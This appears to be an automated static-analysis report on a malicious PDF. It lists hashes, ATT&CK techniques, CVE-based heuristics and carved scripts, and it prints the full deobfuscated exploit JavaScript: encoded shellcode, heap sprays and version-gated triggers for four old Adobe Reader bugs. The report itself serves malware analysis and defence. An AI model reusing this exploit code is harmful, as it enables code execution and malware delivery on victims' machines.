Malicious PDF — malware analysis report

Static analysis result for SHA-256 82c952bcafff7749…

MALICIOUS

PDF

29.1 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-09
MD5: f03f81a8af3c8a9cdb3753c02d98c814 SHA-1: f3900a1e944e53e2d3b94b333e9b826607e2ddf8 SHA-256: 82c952bcafff7749610799d535bfced3210600ac291184e532814f2499657ce5
516 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple known Adobe Reader vulnerabilities, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The JavaScript code appears to be a stager that constructs and executes a payload, likely to download and run a second-stage malicious component. The use of `String.fromCharCode` and arithmetic operations on PDF metadata further indicates exploit activity.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 672 bytes
SHA-256: 9d76b2ce58229308c248cde3abd556259185b05e3e124f4cf4de80b98a3df5b1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
aum='';
var q2 = date.getFullYear()-2007;
sif='2011s'.replace(date.getFullYear(),'hi');
necoh=('tit2011').replace(date.getFullYear(),'le');
g=Function('a','return t'+sif+'.'+necoh);
var jrjm = g();
jsstl=('sub2011').replace(date.getFullYear(),'ject');
g=Function('a','return t'+sif+'.'+jsstl);
var bovcs=g().replace(date.getFullYear(),'al');
g=Function('a','return t'+sif+'.'+bovcs);
ikeq=g();
afja='pro2011cer';
afja=ikeq('afja.replace(date.getFullYear(),"du")');
g=Function('a','return t'+sif+'.'+afja);
sxig=ikeq(g());
dusq = ikeq(jrjm);
for (i = 0; i < dusq.length; i++) {
	nge = dusq[i];
	aum += sxig(nge);
}
ikeq(aum);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title year-arithmetic JavaScript at offset 0x36F 3642 bytes
SHA-256: c8699eb8e190449266a16b00b863695d8a8e958f0ea4ff61b56b49b4661338bc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u38b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u2734%ue2aa%uc3fa%ue5e8%uffff%uceff%u262b%u2727%ua679%u7bcb%u2726%uae27%uaac0%u3768%u48aa%u1673%u70fc%u7476%u7474%u7474%u7474%u7472%u4f74%u2623%u2727%u7172%u4f74%u4948%u2727%u524f%u4b55%u734a%ua94f%u2969%ucfcb%u276f%u2727%ucf77%u275b%u2727%uf7d8%ue3a4%u4f2f%uc868%u2268%ucf77%u274b%u2727%uf7d8%ue7a2%u3052%u734d%ud47e%u4f8d%ud955%u3194%u3acf%u2727%u7727%u76cf%u2727%ud827%u74f7%ud94d%uae4f%u2648%ucf9a%u272f%u2727%ucf77%u271b%u2727%uf7d8%u1647%u43e7%u77ac%uac17%u2b75%u75ac%uac33%u0f55%u3f9e%u2727%u1627%u16d8%u8be7%u461b%u255b%u070b%ue8e6%u262a%uc5e0%ua6d7%u7cd8%u6d9b%uac4d%u3765%u35ac%ufe52%u63ae%u3b03%ue446%uac47%u034b%uac03%u1b62%u73ac%u5f22%ucd26%u6dac%uac3f%u077d%ucc26%u13c4%uac6e%uac13%uc926%ud816%ue716%u8bdb%ue7a3%u2053%ue8e6%u262a%ucce0%u1cd3%u035b%u520f%uacc6%u037d%ucc26%uac41%u6c2b%u7dac%u263b%uaccc%uac23%ucf26%u63ae%u3b03%ue546%u272f%uc8cf%ud8d9%u4fd8%u5353%u1d57%u0808%u484b%u5542%u5452%u0953%u4844%u084a%u094c%u4f57%u1857%u1a41%u1116%u4201%u141a%u0027';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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